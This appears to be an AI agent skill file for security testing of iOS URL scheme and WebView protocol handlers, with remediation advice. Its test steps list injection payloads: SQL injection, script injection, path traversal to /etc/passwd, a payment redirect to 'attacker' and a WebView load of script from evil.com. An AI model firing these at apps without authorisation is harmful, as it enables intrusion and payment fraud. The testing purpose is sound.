| name | ios-protocol-handlers |
| description | iOS WebView Protocol Handler security testing. Use this skill whenever the user mentions iOS app security, URL schemes, custom protocol handlers, deep links, intent hijacking, or WebView vulnerabilities. This skill helps enumerate, test, and exploit iOS protocol handler vulnerabilities including URL scheme hijacking, deep link injection, and data exfiltration through custom schemes. |
iOS WebView Protocol Handler Security Testing
This skill provides a systematic approach to testing iOS WebView protocol handlers for security vulnerabilities. Protocol handlers (URL schemes) are a common attack surface in iOS applications.
What are Protocol Handlers?
iOS apps can register custom URL schemes (e.g., myapp://) that allow other apps to open them with specific parameters. These are commonly used for:
- Deep linking to specific app screens
- OAuth callbacks
- Payment processing
- Social sharing
- Cross-app communication
Common Vulnerabilities
- URL Scheme Hijacking - Registering the same scheme to intercept traffic
- Deep Link Injection - Crafting malicious URLs to trigger unintended actions
- Parameter Tampering - Modifying URL parameters to bypass validation
- Data Exfiltration - Extracting sensitive data via protocol handlers
- Intent Hijacking - Triggering unintended app behaviors
Testing Workflow
Step 1: Enumerate Protocol Handlers
First, identify what protocol handlers the target app uses:
Step 2: Analyze Handler Behavior
Test how the app responds to different URL patterns:
open myapp://
open myapp://home
open myapp://user?id=123
open myapp://action?param=value&other=test
Step 3: Test for Vulnerabilities
Parameter Injection
Test if parameters are properly validated:
open myapp://user?id=1' OR '1'='1
open myapp://profile?name=<script>alert(1)</script>
open myapp://files?path=../../../etc/passwd
Deep Link Manipulation
Test if deep links can trigger unintended actions:
open myapp://admin/settings
open myapp://payment?amount=0.01&recipient=attacker
open myapp://dashboard?auth=bypass
Data Exfiltration
Check if sensitive data can be extracted:
open myapp://callback
open myapp://share?data=sensitive_info
Step 4: Test WebView-Specific Issues
If the app uses WebViews:
open myapp://web?url=https://evil.com/malicious.js
open myapp://web?url=file:///private/data
open myapp://web?file=local.html
Automated Testing Scripts
Use the bundled scripts to automate common tests:
enumerate_schemes.sh
Enumerates common protocol handler patterns for a given app name.
test_handler.sh
Tests a specific protocol handler with various payloads.
check_hijack.sh
Checks if a protocol handler can be hijacked.
Reporting Findings
When documenting vulnerabilities:
- Vulnerability Type - Clear classification
- Affected Handler - The specific URL scheme
- Payload - The malicious URL used
- Impact - What the attacker can achieve
- Remediation - How to fix the issue
Remediation Guidelines
For Developers
- Validate all parameters - Never trust URL parameters
- Use allowlists - Only accept expected values
- Implement authentication - Require auth for sensitive actions
- Sanitize inputs - Prevent injection attacks
- Use secure schemes - Consider using Universal Links instead
For Security Teams
- Regular testing - Include protocol handlers in security assessments
- Code review - Check handler implementations
- Runtime protection - Consider using security frameworks
- Monitoring - Watch for unusual handler usage
References
Quick Start
./scripts/enumerate_schemes.sh myapp
./scripts/test_handler.sh "myapp://action?param=value"
./scripts/check_hijack.sh "myapp://"
Notes
- Always test on a device or simulator, not just in theory
- Some handlers may require the app to be installed
- Test both iOS and iPadOS if applicable
- Consider testing on different iOS versions
- Document all findings with screenshots when possible